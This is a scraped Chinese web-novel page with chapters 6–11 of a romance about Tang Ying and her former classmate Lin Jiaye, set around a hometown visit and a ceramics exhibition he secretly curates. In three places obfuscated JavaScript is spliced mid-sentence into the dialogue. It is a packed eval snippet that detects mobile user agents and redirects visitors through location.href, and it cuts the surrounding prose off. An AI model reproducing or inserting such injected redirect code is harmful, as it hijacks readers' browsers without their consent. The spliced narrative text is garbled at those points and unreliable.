两口子考虑了几个晚上,停掉了唐迎的补习班,由了她去了。 生意人没那么多条条框框,家风虽然不够体面,但还算的上开放。 唐迎高中时做的第一个木笔筒,被搬去“容艺巷”之前,一直都放在家里自己的房间。唐迎上大学那会儿每年寒暑假回来,笔筒的外壁都被擦得油光锃亮,一点灰尘没落上去。 明明也不是什么大作品,却被保护的很好。 她的这双手也是。 初二,棉城下了一场雪。 这不是今年的初雪了,但不影响人们看见雪景的热情。 唐迎家楼层低,能清楚看见窗外。日头刚出来,楼下门栋前就一片吵闹声,小孩子们穿着厚厚的棉衣和毛线帽子,手套被雪打湿,靴子都陷进雪地里。 她起的早,周兰英和唐勇军都还在房间里睡着。唐迎扒着门窗看了一会儿下面,忽然不想再待在家里。 她随便套了件外套出去。 其实唐迎长这么大看惯了雪,每次下雪没觉得有多漂亮,出行反而麻烦。 但去过京北的雪场之后,心里的印象发生了改变。 白雪会带她回到那个一望无际的山坡和滑道,回忆起吸入鼻腔的冷空气,和照在身上暖烘烘的阳光。 每一样都让她心驰神往。 楼下小院儿被小孩子们占领了,他们捏着雪团疯跑,又互相砸到对方身上。 半截手套陷在雪地里,孤零零得无人问津。 “豆子,手套穿好,冻伤了李叔得抽你。”唐迎路过的时候说。 这些孩子里有唐迎眼生的,也有熟人家的孩子,豆子就是。 他是李叔的孙子,刚上小学。放寒暑假的时候,李叔和唐勇军约在社区楼下约球,豆子会被大人拉着一起来学个两三招。 豆子今年又长高了些,话也说得顺溜起来,“别想吓唬我,你自己也没戴帽子。” 唐迎把围巾往发顶上一绕,“这样就是帽子了。” 豆子不屑:“切。” 唐迎朝他做了个鬼脸,仰起下巴从旁边走过去。 沿着老城区的街道走,这块儿是政府重点建设维新的区域,路上瓷砖都翻新了一遍,被雪盖着薄薄一层,隐约可见砖头上精致的花纹。 唐迎边看街头巷尾的变化,边找一家早餐铺,豆腐脑和油条的搭配虽然在京北也能吃着,但和在棉城吃的是不一样的味道。 唐迎最喜欢的那家早餐店在三中后面。 她上高中时走读,有时候周兰英和唐勇军出门太早,家里没有早餐,她就出来吃,吃完了再进校门。 等到了教室,早读都已经开始了,如果不巧被姜汕抓到,就被罚站或者打扫卫生。 唐迎拐了好几个路口,仰头一望,已经到了三中门口。 她对学校其实没多少感情,虽然穿着校服,可她的主业却不是学习,也不知道该如何做一个好学生。 她对学校总是没有归属感的。 唐迎盯着校门口的石柱子看了一会儿,上面八个字的校训她记得,却没有真正实践过。 收回视线的时候,见不远处围栏的尽头也站着一个人。 那人个子太高,侧颜干净好看,站在雪地里挺扎眼。 外套不是他在京北常穿的那件,换了件剪裁高级、质地良好的深色大衣,唐迎前几次没有见他穿过。 领口微微立着,将他的身形勾勒得修长而挺拔,凌厉而清俊。 他正穿过围栏看向学校里面,眸光淡淡,不知道在想什么。先前身上那种低调的气质消失,取而代之的是距离感。 人在没有防备的状态下最真实。 唐迎愣神两秒。 恍惚间,她仿佛又看到了当年那个优秀体面不近人情,和她本该毫无交集的少年。 7. 第 7 章 唐迎走过去往里面望。 隔着护栏,能看到操场上红色的塑胶跑道和绿草地,她问他:“想进去?” 他转过头来,看见她的时候有些诧异。 唐迎问“怎么了”。 “没什么,”林家烨扯了扯唇角,说:“我以为以你的性格,这个点会在家睡觉。” 唐迎开玩笑地说:“我什么样,你很了解?” 林家烨却没接这个玩笑,他安静了一会儿,没说话。 风从栏杆那头跑过来,唐迎打了个小小的喷嚏,把围巾往脸颊提了提。 她今天戴的围巾有点老旧,看得出有些年头,但胜在颜色明艳。 是柿子色,红中带了点俏亮的橙,林家烨对这条围巾有印象。 她高中最讨厌的科目是语文,每次上完语文课都困得不行,要在课间补觉。 冬天的课桌又硬又冰冷,她把这条橙红色的围巾拉下一截,一半垫在脸颊下,再侧头靠在课桌上。 林家烨目光收回来,看着栏杆里面,回答她最开始那个问题:“也没什么太开心的回忆,进去做什么。” 唐迎觉得他这话凡尔赛,他的高中生活一马平川,还有什么不满意的。 校门口的保安注意到两人,走过来问他们有什么事。保安看起来年纪四十上下,面孔有点眼熟,没聊两句,脸上出现微妙变化。 他指着唐迎,有些惊喜:“我记得你,你是不是之前在这里读过书?” 唐迎点点头。 保安更激动了一点:“走读生,总是踩点迟到,是吧?你这张脸我记得可清楚!” 唐迎眯了眯眼睛,不太想接话的模样。 校门口正对着一家文具店,里面出来两个挽着胳膊的女孩,穿着三中校服、面容清爽。这时顺着路口走过来,有些好奇地盯着他们瞧。 保安平日里也没个聊天的人,看见个人就想唠,乐呵呵说:“这你们学姐,毕业回学校来了。” 两个女孩子点头,一个小声嘟囔着好漂亮,唐迎听见,朝她们轻轻笑了一下。 “学姐好。”女孩小声说了一句,脸红地拉着另外一个走了。 “你我也记得,”保安又看着林家烨,瞅瞅旁边的唐迎,目光在俩人之间来回,说:“有意思。” 唐迎装不知道似的问:“有什么意思?” 保安摆摆手:“没没,开个玩笑嘛。” 唐迎看向别处,不怎么说话,保安看她两眼,也没继续找没趣儿,转头问林家烨现在在哪里工作。 林家烨明显善谈得多,没棱角,聊什么都舒服。 保安逮着他不放,家底都快盘出来。 唐迎站在一边听,说的无非就是那些话题,问他毕业之后去了哪个顶尖的大学、现在在做什么、还有学校这两年要开新校区......直到腰间的对讲机响了,那大哥才意犹未尽地回到亭子里。 唐迎等得有些累了,注意力不太集中地在踩脚边的碎雪。 林家烨朝她这边走,说了句“走吧”。 走去哪儿? 唐迎有点儿迷茫地盯着他,憋了句:“你待会儿有什么事吗?” 她想借此暗示,他们应该在这里就分开了。 林家烨看着她说:“我待会儿没事。” 唐迎又说:“我得去吃早餐。” 林家烨“嗯”了一声,说:“我也没吃。” 唐迎好心提醒了一下:“我吃的那家口味重……” 林家烨点点头,没什么所谓,“试试呗。” 唐迎沉默两秒,终于转过身去,林家烨跟上来,对她说:“带路吧。” 这条路唐迎走过很多遍。 街头那家店过了十点就撤下早餐档,换上小炒。以前唐迎仗着自己是走读生,中午也会出校,不回家,就在店里吃。 这儿的菜有锅气,她最喜欢喝这里的胡辣汤,做得正宗、麻辣鲜香。 老板娘是个泼辣的女人,脾气在服务业里算不上好的,却唯独喜欢唐迎。按她的话说,唐迎像她年轻的时候。 两碗胡辣汤、一屉蒸饺、一屉包子上桌,冒着热气儿。又端上来一小碟特制的酱料,里面有酱油蒜末、辣椒面儿、腐乳汁、白芝麻。 唐迎直接往里倒进去一点,又问林家烨:“你要吗?” 林家烨看着那碟东西,坦言:“我没这么吃过。” “可香了,我上学的时候天天这么吃。”唐迎说。 她说话时下巴微扬,眼角眉梢都带着精神气儿,林家烨看着,说了句:“那试试。” 唐迎帮他也倒一点,边说:“刚刚可是你自己要来的,我提醒过你了……” “也是,”林家烨说:“我以为那是你搪塞我的借口, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165422|196689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没想到是真的。” 唐迎回敬:“我这人嘴笨,只会讲大白话,不像你什么场面都能应付自如。” 这话怎么听都有点儿冷嘲热讽的意思,林家烨突然问:“不喜欢我刚刚那样?” 唐迎问:“什么样?” 林家烨:“和保安大哥谈笑风生的样。” “这有什么喜不喜欢的,”她把碟子往桌上一放,“你自己倒吧。” 林家烨唇角带着笑,也不生气,不紧不慢地把酱料倒下来了。 他随口说:“毕业快七年,这保安的记性不错。” 唐迎低着头,小口喝着胡辣汤,“我宁愿他不记得我。” 林家烨抬头,等着她继续往下说。 “他们记得你,是因为你优秀、经常出席活动。记得我是因为什么?” 唐迎笑意淡淡的,没有继续说下去。 唐迎觉得自己的现状挺好的,就这样缩进舒适的壳里,平庸地过完一生。 可那些往事会提醒她,相比于高中时那股不顾一切的劲儿,她活得越来越不如从前。 林家烨淡淡看着她,说:“你之所以被人记住,是因为你是唐迎,不是别的。” 他声音低低沉沉。 唐迎觉得刚刚喝下的胡辣汤似乎有了后劲,从胃里烧上来,又猛地冲上鼻腔,呛得她鼻尖一阵发酸,眼眶地热了起来。 她突然问了个不相干的问题:“你为什么去京北?” “京北很好。” 唐迎用勺子搅着汤碗,轻轻说:“棉城也挺好的不是吗?不被京北差。” 林家烨看着她出神的模样,眼底淡淡划过思考。 “对我来说,回不回这里,并不是一个单选题,”他手指轻叩桌面,没顺着她的话答,只是陈述自己,“答案不是唯一的,我希望能做到任我挑。” 唐迎蹙起眉头,林家烨看着她的反应,继续说:“在不在这里都只是我想而已,而非退一步或者走投无路时的选择。” 唐迎沉默了一会儿,没有赞同也没有否认。 过了会儿,她问:“你上学的时候就这么想了吧?” “没有,”林家烨笑了一下,“那时候只是单纯觉得成绩好很酷,没想这么多。” 不受限制地去任何地方、干任何事,这是她教给他的。 现在换他来告诉她。 8. 第 8 章 唐迎在家待的这几天,早上睡到自然醒,有空时走走亲戚和街坊邻里。 周兰英和唐勇军知道她不爱凑热闹,唐迎想跟着便跟着,不想去他们也不强求。 白天闲着没事的时候,她就和周兰英一起躺沙发上看小品、刷电视剧。 虽然在京北的时候也没有多忙,但这样完全松弛的状态唐迎也很久没有过了。 那天她进房间帮周兰英拿水杯,见床头柜上摞着几本书。 最上面那本是《骆驼祥子》,是唐迎上初中那会儿学校老师让买的课余书目,从侧边看书页都有些泛黄了。 她以前的书和课本全都丢在收纳箱里,放在角落,不知道怎么又拿出来了。 “妈,床头柜上的书是你在看吗?”唐迎走出房间,随口问。 “对呀!”周兰英从她手里接过水杯,进了房间看,“你不要随便动,我那书都是读得有进度的,你别给我翻乱了。” 唐迎问:“你什么时候有看书的习惯了?”她从没见过周兰英看书。 周兰英已经回来了,坐回沙发上,“年初生意不忙,我有时间就读读书。” 唐迎又看了眼那些书目,“那些都是我上学的时候语文老师让读的,正儿八经的,你不嫌枯燥?” 周兰英眼睛盯着电视,说:“不嫌。” 唐迎拿起手机打开网购软件,说:“你想看书行啊,我有书单,这就给你上网挑几本新的。” “不用不用,”周兰英拦住她,“你看的那些我都不懂,语文老师布置的课外书目挺好的呀,太高深的你妈也读不懂。” 唐迎手指一顿,安静半晌,放下手机。 周兰英拉着她一起坐回沙发,摸摸她胳膊,细言细语解释:“现在生活条件好啦,咱家也不缺吃穿,我一把年纪了我就想看看书。” 唐迎:“想补文化?” “对嘞,”周兰英笑起来,眼角有点儿细纹,“这不我和你爸没上过大学嘛,做这么多年生意,每天手上接触的就是那几样东西,怕这辈子就这么过去了。读读书上上网不挺好的?看看外面的世界。” “那你有什么需求和我说。等把那些书看完了,我再给你挑新的。”唐迎慢慢说。 周兰英点头答应。 唐迎还想再说些什么,周兰英已经起身去厨房,“你也别瞎操心了,我自己能对付。别看我五十的人了,心态可比你们年轻人年轻.......” 唐迎不是不信任周兰英,她的母亲虽平日里看上去心思不深,实际上情绪很稳定,自我调节的能力一流。 她一个人坐在沙发上,觉得看电视也没什么意思了,就拿起遥控器闭了。 唐迎跟到厨房,突然问:“妈你想不想去京北?” 周兰英诧异地转过身,“你怎么又跟过来啦?快回去坐着。” 唐迎盯着她,笑着又问了遍:“我就随便问问,你想不想去京北。” 周兰英说:“旅游啊?不想。” “不是旅游,”唐迎说:“是去那里生活。” “不想,”周兰英低头,切菜,“棉城多好,我待了几十年了,不想动了。” 唐迎看着她,没说话,过了会儿,自己出了厨房回屋了。 …… 今年春节,唐迎破天荒地没在棉城待足天,提前回了京北。 离开棉城的前一天,周兰英收拾了大包小包的东西给唐迎,里面是毛毯、换新的围巾和手套,还有几张椅垫,让唐迎带到店里铺上。 又装好一盒现成的包好的饺子,到家以后下锅煮一煮就能吃。 周兰英说:“你要注意锻炼了,你们这行天天坐着打磨东西,费神也费眼,要经常运动,别落下什么毛病。” 唐迎说:“我最近在学滑雪呢。” “滑雪好呀!”周兰英的声音扬起一个弯儿,又很快落下来,“可惜了棉城没有雪场,不然我也想学呢。” 唐迎说:“等我学会,到时候亲自教您。” 周兰英摆摆手,“害,五十多岁的人,瞎折腾什么,我就那么一说。” “不行,说了就得做。”唐迎很认真地说。 周兰英笑起来,弯腰把地上的袋子提起来,“走吧,送你下去?” 唐勇军已经下楼搬过一轮,袋子剩的不多,唐迎一个人就能拿。她把周兰英手里的东西接过来,让周兰英歇着,不必送。 玄关处的柜子正好对着门口,唐迎临走前,见柜子最上面那层,她送给唐勇军的胶皮包装盒还是没有拆。 她随口问:“妈,爸最近和李叔约过球吗?” 周兰英说:“没呢,你爸最近腰不好,打不了球。” 唐迎皱起眉:“怎么弄得?” “还不是那些货闹的,”周兰英告诉她,“这一天下来得几百单,打包的时候总弯腰,久了就出问题呗。” “没事儿啊,他这两年都是这样,断断续续的,隔一阵儿就好了。”周兰英觉得这不算什么大事,拍着唐迎的肩催她出发。 回去的路上,唐迎开得心不在焉,更没心情放音乐,就这么干巴巴地开了一路。 ...... 回到京北的第一件事,就是找贝桃吃饭。 贝桃今年没回老家,她已经连续几年的春节不回老家了。 唐迎一开始不理解,她和贝桃完全相反,哪一年不回棉城,就觉得少了些什么。 后来见识过贝桃的工作有多忙,她本人有多拼,唐迎渐渐明白了。 贝桃不像她对家乡有那么深的留恋,过年回去的票又难抢、路又颠簸,到了家也是走亲戚和相亲,无法得到真正意义上的放松,何必呢? 何况对于贝桃来说,至今以来所有的努力,都是为了留在京北这座城市。不回去仿佛也有了理由。 到了饭店,唐迎先点了单。 直到菜上桌了,贝桃才匆匆赶到,一身大衣风尘仆仆的。 “说吧。”对面的人还没坐稳,唐迎张口抛出来两个字。 贝桃弯了一下唇,笑她太急,“能让我先喝口水?” 唐迎没理她这茬:“来得这么晚,又让我先点菜,干什么去了?” “有点事儿。”贝桃说。 以往,贝桃会说具体是什么事,现在含糊地一带而过,唐迎猜都能猜到,她问:“和你对象?” 贝桃“嗯”了一声。 其实那严格来讲都不算“对象”,只能算一个刚见了几次面、条件还不错的男人。 唐迎沉默半晌,说:“我再晚一点回来,你是不是都得领证了?” “不至于那么快,”贝桃说了实话,“但也不久。” 唐迎问:“他怎么样?” 贝桃将对方的条件一一列举:“京北本地人,有车有房,比我大三岁,长相还算顺眼,脾气挺好,挺温和一人。” 唐迎问:“做什么的?” 贝桃:“互联网行业,挺大一家公司,做到了中层。” 唐迎点点头,没接着往下打听,她不知道还能问些什么。 贝桃夹了一筷子酸菜鱼放唐迎碗里,“吃饭。” 这顿饭唐迎吃的无滋无味,中途店员来看了好几次,问有没有需要的,都是贝桃在答。点了四个菜,唐迎吃的总共加起来没有十口。 贝桃说:“这不是你最爱来的餐厅?就吃这么点啊。” 唐迎没什么精神,不太认真地回:“偶尔浪费一次没事儿。” “怎么没事儿?”贝桃把主菜又往唐迎推了推,“不吃完不许走。” 酸菜鱼色泽鲜美,汤面上飘着辣椒籽和油沫。 唐迎想起来,以往贝桃吃饭口味重,葱姜蒜向来一样不落,但因为唐迎对葱忌口,每回两人吃饭点菜都是去了葱的。 有一次店员忘记备注,上了道加了葱的菜,唐迎觉得算了,但贝桃坚持让店员重做,还自掏腰包垫了加菜的钱。 想到这儿,唐迎觉得嘴里的饭粒更没了滋味,问:“他真配得上你?” 你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那时候她看起来并无多大兴致,所以接到电话时,他还是有些意外。 对方很冷静,先是问了他参展的整体流程,细致到每一个活动要不要本人出面、展会的宣传力度、策展规模。 有了大致了解后,才明确说,她有参展意向。 程倧对这样的事最擅长,全程极有耐心,她问什么,他便答什么。 他考察过“容艺巷”的店面照片,当时只是粗略几眼,印象却挺深。 挂电话之前,程倧状似随口地问:“对了,唐小姐,我能问问你是什么契机让你转变了想法?” 那头安静了会儿,说:“心血来潮。今天收拾衣服,大衣口袋里掉出你们的名片。” 程倧闻言一愣,又很快笑起来,“明白,那咱们后续保持联系。” 电话结束,程倧起身走到工作室另一侧,手敲了敲扶手,问沙发上那人:“准备什么时候回来工作?” “月底。” “回来之后我们把下半年的展会过一下,艺术家已经联系了一部分,确定好后跟你过方案。” “行。” 林家烨一直低着头刷手机,头都没抬,程倧弯腰凑过去看:“看什么呢?” 林家烨把手机关上,抬手揉揉眉心,程倧瞥见那是个滑雪场公众号。 程倧问:“上次客户给你的滑雪卡用了吗?” 林家烨:“用了。” 程倧:“去了几次?” 林家烨:“没几次。” “那多浪费啊,再不去没机会了,最近天气回暖,我早上本来想穿黑色厚羽绒那件,穿上了才觉得热。”程倧扯扯领子。 林家烨“嗯”了一声,他刚刚就是在看雪场的闭馆通知。 雪季快结束了啊。 他的计划也要失去时效了。 9. 第 9 章 年后没几天,小梅到岗。 小姑娘来店里报道的时候带了一堆家乡的土特产——一袋子酸豆角、几罐酱菜、饼是小梅家里人亲自烙的,又薄又大。 所有的东西装在一起满满当当,唐迎接过的时候差点提不起来。 她对着一大袋东西皱眉:“太贵重了。” “这些不值钱的,就是想让你尝尝,都是家乡的特色,”小梅不好意思笑笑,“感谢姐对我的栽培。” 唐迎还在一样一样数那些东西,说:“哪里谈得上栽培。” 她能向小梅保证的只有一份稳定的工资。 小梅拨开她的手,让她不要再数了,把袋子系紧了塞回给她,“不止是工作上的事,你教我的太多了。” 唐迎不知道还怎么拒绝,把袋子小心放进柜子,晚上带回家了。 月底的时候,“触域”展馆来了人。 除去程倧,还有一个学生气的女生,是唐迎上次在纸艺展览的时候见过的那位年轻的志愿者,她跟着程倧过来,时不时按照指示拍照和记录信息。 小梅很惊喜,问唐迎什么时候的事,怎么突然要去参展。 唐迎说:“就年后刚回来那会儿有的想法,其实也没定下来。” 她尽量把话说的保守,在别人看来却是谦逊,小梅的脸上已经有掩饰不住的神采。 展馆的人逛店的时候,小梅一直都跟在旁边,为他们介绍容器信息,唐迎由了她去。 所有人似乎都对她有所期待,唐迎不知道这是好事还是坏事。 那些瓶子罐子被搬上搬下,被人欣赏和谈论,每一件都是她亲自做成的,倾注了情感,现在看起来却有些陌生。 那天程倧在电话里问她为什么突然改变想法,唐迎撒了谎,只是为了让自己看起来没那么急迫。 名片是她专门翻找出来的,拨号码的时候,还在担心这份邀请会不会已经过了时效。 唐迎觉得这样的心情根本不像自己,有什么东西像在脱离掌控,往前都是未知。 - “触域”周一闭馆,供内部人员维护使用,唐迎按照程倧发的消息按时到达。 她平常对化妆不讲究,就算和贝桃晚上去酒吧夜场,也是敷衍了事,打个底涂了口红就算完成了。贝桃平日里总是恨铁不成钢,说她就是仗着自己底子好才这么随便。 今日出门之前,唐迎特地提前了半小时准备,描眉画眼,裙子是去年初冬她和贝桃出去逛街时买的,颜色很亮,当时买完放进衣柜就搁置了,没怎么穿出门过。 上一次穿这么亮的颜色,好像还是在高中。 大学毕业之后,她对抛头露面的事情越来越抵触,加上不愿随波逐流,只自己开店,社交圈子简单,更少了打扮的机会。 ...... 有工作人员早早在展馆门口候着,见到她礼貌问好,带着人进去。 展区以外,还有一条长廊,专供内部人员使用。 唐迎以前没走过这里,尽头是一间小报告厅,里头装修的墙砖是蓝白相间,简洁又透亮,还没走进,已经能听到从里面传出的聊天声。 她看了眼,见到除程倧外还有其他几人,气质与穿衣风格各异,他们围坐在台子上的小沙发上,氛围轻松。 唐迎进门的时候,里面安静了一瞬间,都齐刷刷朝门口望过来。 这样集中审视的目光乍一打在脸上,有些许熟悉,唐迎忽略掉心下涌出的不自在,微微笑了一下。 程倧很快反应过来,起身招呼她,又向沙发上几人介绍她。 聊天间,唐迎渐渐知道众人的来历。 他们都是陶艺从业者,名气有大有小。其中一位是从瓷都来的青衣女人,名叫罗素,出身陶瓷世家,从事高温颜色釉的研究。 她是昨天晚上从瓷都飞过来的,打算在这里住下一段时间,当是工作加旅游,等展期结束再回去。 还有一个年轻的男生,名叫张怀宇,去年刚从美院的陶瓷系毕业,毕业设计拿了奖。不大的年纪,穿着打扮却略微成熟。 善谈,每个话题他都得参与两句。 他坐的位置离唐迎近,得空时问起她的来历。无非是那些寒暄的问话,怎么入行的?毕业院校?还是家里有什么技艺传承。 唐迎只说自己是半路出家,做着玩玩,没抱能成大事的心思。 几个问题就被她轻飘飘地一笔带过,男生面色有点尴尬,没有再继续往下问。 唐迎更多时候只是观察,这样的场合她本就不擅长,况且这里属她的资历最薄。 分去目光最多的,是坐在程倧旁边的男人。 那人比张怀宇的存在感还要高几分,他戴着一顶八角帽,眼镜是黑色圆框的,蓝灰色布衬衣上面是夸张的油墨几何图案,在场几人,他的艺术家气质最浓厚。 年纪看起来只有不到三十,五官长得很大气,张口就是地道的京味儿,谈笑间无拘无束,也没有架子。 “井鸣老师,您在圈内的粉丝那么多,咱们这次展览热度应该也不会低。”其中一人冲男人笑道。 “正好,”井鸣说,“让他们也换换口味,这么多金子等着被发现呢。” 这话聪慧又不失亲切,气氛一下子轻松起来,唐迎也翘起一侧嘴角。 罗素接着上一人的话:“上回有朋友送我一套定制茶具,我觉得太好看不舍得用,后来才知道是出自井鸣老师之手。” 井鸣的设计风格更偏向于日式,造型简洁,但贵在质感厚重、有沉淀感。 唐迎也听说过他几个有名的作品,他风格是很个人化的,并不怎么接地气,反而有种寂寥和孤勇的感觉。 某种程度上,和她那些不着边际的罐子挺相像。 到了后半场,有人向井鸣问些专业问题,他答得并不严谨,通常是想到什么说什么。唐迎在旁边安静听了十几分钟,觉得这人玩的不是传统陶艺,比那外放和包容得多。 都是值得一听的思路,唐迎手指在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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报告厅门口,程倧掐好时间开了门,问他:“等了很久?” 林家烨说:“刚到。” 程倧说:“怎么过来的?” 林家烨:“还能怎么过来,开车。” 程倧看着他笑:“今天没骑你那辆共享单车?” 林家烨看他一眼,没搭理他,迈进门。 程倧满意看着,这人最近不知道抽什么风,穿的用的都极其简朴,所幸今天恢复到了以往的正常水平,该有的都有,一身齐整和风度。 “林家烨先生,”人进了门,程倧介绍起来,“咱们触域的门面,也是本次展览的主策展人。” 他声音洪亮,周围谈论声止住,众人看过来。 10. 第 10 章 那人挺拔站着,衣着考究,领口被整理得整整齐齐。 人是唐迎熟悉的,但很多地方不同——他今天比前段时间她见到的任何一次都要体面得多。 应该说,完全变化了一种风格。 “林先生是我的老合伙人了,当初一起创办公司的。” “去年几个出圈的展都是他策划的,触域创办时间不长,取得今天的成绩,有大半功劳都归他。” 程倧说了一些热场话,介绍策展人的履历,列举林家烨经手的大大小小的展,在国外深造、小有成就、专业这块没得说...... 唐迎觉得有点冷,手指把衣领袖口拢了拢。 林家烨向她看过来的时候,她依旧看着他,没有回避。 反倒是他,先一步移开了目光。 林家烨用简短几句话向众人做了自我介绍,走到设备前,把文件拷贝上电脑。 ppt上是展区主题规划,一页一页做的很清晰。 整个演示过程中,他很注意询问和互动。有人举手提问,他很快答了,又把对方的意见放进演示文稿。 “这只是初步方案,细节可以灵活调整,各位老师有什么想法尽管提出。” “需要老师们提供待展作品的背景和创作契机,这块儿正式的文本介绍会有专人跟进帮助润色。” 唐迎没有参过展,所有事情都是第一次,她低头调出手机备忘录。 台上那人突然出声:“不用记录,需要什么在今天结束后会有工作人员发过来清单。” 唐迎的手指一顿,唇线抿直了,缓缓放下手机。 说完这句,那人也沉默了一会儿,唐迎一直也没有抬头。 张怀宇虽然刚毕业,但在圈里很活跃,唐迎座位离他近,隐约听到他和旁边人说了几句夸赞林嘉烨的话。 认识他的人还真不少,错的人好像是她,从没关注过这个圈子,什么也不知道,才会被骗。 后面站了两三个展馆的工作人员,唐迎和上次纸艺展见过的女孩打了招呼。 女孩冲她礼貌笑笑,“唐小姐。” 唐迎朝台上看了一眼,问:“他是你们老板?” 女孩说:“我们有两个老板,程先生主要是谈商务合作,林先生负责核心的展陈设计。” 唐迎又问:“多久了?” 女孩一愣,有点不明白。 唐迎:“你们公司创办多久了?” 女孩说:“两年多。” 唐迎“噢”了一声。 女孩以为她想问展馆的资历,很认真地解释:“我们馆去年办了好几个展览,用户评价都不错,唐小姐可以上网搜索一下。” 她弯下腰,开手机给唐迎展示展馆的账号主页,关注数很多。 “上次那场纸艺展,也是他主设计?”唐迎问。 女孩有点懵:“谁?啊……对的,是林先生主设计的。” 唐迎不说话了,女孩问:“那次您体验下来感觉如何?” 唐迎把手机还给她,摇了摇头。 女孩对她的反应有点意外,但还是很耐心:“如果有什么对展览宝贵的意见,都可以告诉我们的。” 唐迎沉默了一会儿,发现什么也说不出来,最后说:“想到了再告诉你们。” 女孩说:“好的。” 女孩一直也没走,过了会儿,唐迎问:“你们展馆的办展强度高吗?” “几乎全年不间断,”女孩说:“虽然中间有过渡期,但不长。” 唐迎:“大多数都是他来主导?” 女孩已经适应了唐迎口中的“他”就是林家烨,点点头说:“是。” “很忙。”一阵沉默后,唐迎评价了两个字。 女孩笑起来:“我们馆里除了程先生,最忙的就是他了。” 唐迎点点头,没有再继续问下去。 她没再看台上的人,只专心盯着展映文件看,时不时向身边的工作人员提问不明白的地方。 ...... 交流会进入尾声,众人三三两两聚在一起聊专业、聊展会,几乎没有人离开。 唐迎也没走,她和说得上话的几人加了联系方式。 唐迎的好友列表里常年只有父母和少数关系特别近的朋友,她不喜欢社交,生活圈子干净得有些寡淡。 这时主动向他人要联系方式,唐迎也没觉得有什么不好意思,既然已经决定改变,她需要这个圈子里的资讯和信息。 活动刚结束的时候,井鸣就过来了,朝她举了举手机,“咱俩风格挺像的,加一下?” 唐迎很爽快地答应,平心而论,她对井鸣的印象不错。 又走了几圈,唐迎一直也没停下来,她能感觉到有人在盯着自己。 那人的眼睛很好 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唐迎没停下来。 一阵急沉的脚步声,林家烨直接绕到她了前面。 他过来的途中,考究的大衣边角擦到她的裙摆,唐迎往后退了退。 ...... 林家烨看起来没有在内场时那样镇定,他的眉毛紧拧在一起,正盯着她看。 她今天的妆很用心,他下午刚进报告厅就留意到了。 这时垂眸近距离把人瞧着,才发觉她今天的眼线画得格外浓,眼尾翘起小小的尖,比平日里更显凌厉。 林家烨又叫了一次她名字。 唐迎这才抬起头看他。 她眼里坦坦荡荡,清澈无比,林家烨被这双眼睛看着,沉默了一会儿,说:“你跟我来。” 唐迎问:“去哪儿?” “车里,”林家烨说:“这儿不方便说话。” 唐迎又问:“有什么不方便?” 林家烨不再回她了,拉着人就往边上停车口走。 他手指冰凉,按在她手腕上有些冷。 唐迎打了个寒战,这种境况下居然还能去想一些不着边际的事——报告厅的暖气开得很足,她在里面几乎没穿过外套,他的手怎么会这样冷? 11. 第 11 章 商业区后边儿是停车场。 到车跟前的时候,唐迎想起来什么,说了句:“原来你有车。” 林家烨知道这时说什么都没用,没说话,把副驾的车门打开。 唐迎也不客气,抬腿坐进去了。 这里地段好,露天的车位数量不多,一般只留给商户专用,林家烨的车正巧挨着一片树阴,很清静。 他关上门,手指在面板上摁,开了暖气。 唐迎看着他的动作,说:“你要不说话我就下车了。” 林家烨还是没吭声,唐迎的手抬起来,要去够门把。 “我说。”他很快说了俩字。 唐迎收回来手,又深吸了口气,换了个能听事儿的坐姿。 “职业的事情,我跟你道歉。”他率先说。 唐迎问:“滑雪教练是兼职还是......” “不是兼职。”林家烨打断她,“我只有你这一个学员。” 意料之中的答案,但唐迎还是没控制住蹙了一下眉,沉默着没再说话。 过了会儿,她问:“教练资格证呢?也是假的?” 林家烨一愣,“那个不是。” 这玩意儿的门槛没有想象中高,考证也不是教练的特权,业余爱好者也能,他闲的时候顺手就考了。 只是这些初学者不了解的信息,他一样也没告诉唐迎。 “你怎么突然要来参展?”他问。 “我做这一行,参展不是很正常吗?”唐迎说。 “别人大概喜欢,但你不是,”他说:“我以为你没准备好。” 唐迎的眉头皱的更深了,语气有点儿冲:“你很了解我吗? “林家烨,你这话很没逻辑,”她轻笑,“我们不熟。” 他是她什么人?大概朋友都算不上。 他们在高中就没多少交集,可他却表现得很了解她一样。 ...... “我喜欢你,唐迎。从高中就开始了。” 一阵难捱的沉默后,这句话像一记重锤,突兀地落在唐迎耳边。 林家烨:“还接着往下说吗?” 唐迎没反应过来,过了好一会儿才僵硬地扭过头,看着他。 林家烨:“我怕吓着你。” 要不是他的神情和语气过于平静,唐迎想现在立马开门下车,离这里远一点。 林家烨不像开玩笑的。 唐迎意识到如果现在下车,她就没法分辨林家烨到底是来真的还是只是想耍她。 “你说。”她的背部缓缓重新靠回椅背,紧贴着那里。 林家烨点点头,“行。” 唐迎发现林家烨说这些的时候其实根本没在看她。 他盯着车子前方,视线落在不知道哪里,又或者根本没有目标,只是虚空中一点。 “第一次在雪场看见你那次,”他舔了舔嘴唇,“我当时没想着要做什么。” 唐迎回想着,要说他俩毕业后的交集从什么时候开始的,就是在那次。 她扯了扯唇角,说:“是么?” “不信?”他问。 唐迎没说话。 “唐迎,”林家烨忽然换了个话题,“你高中对我的印象怎么样?” 她皱眉:“问这个做什么?” 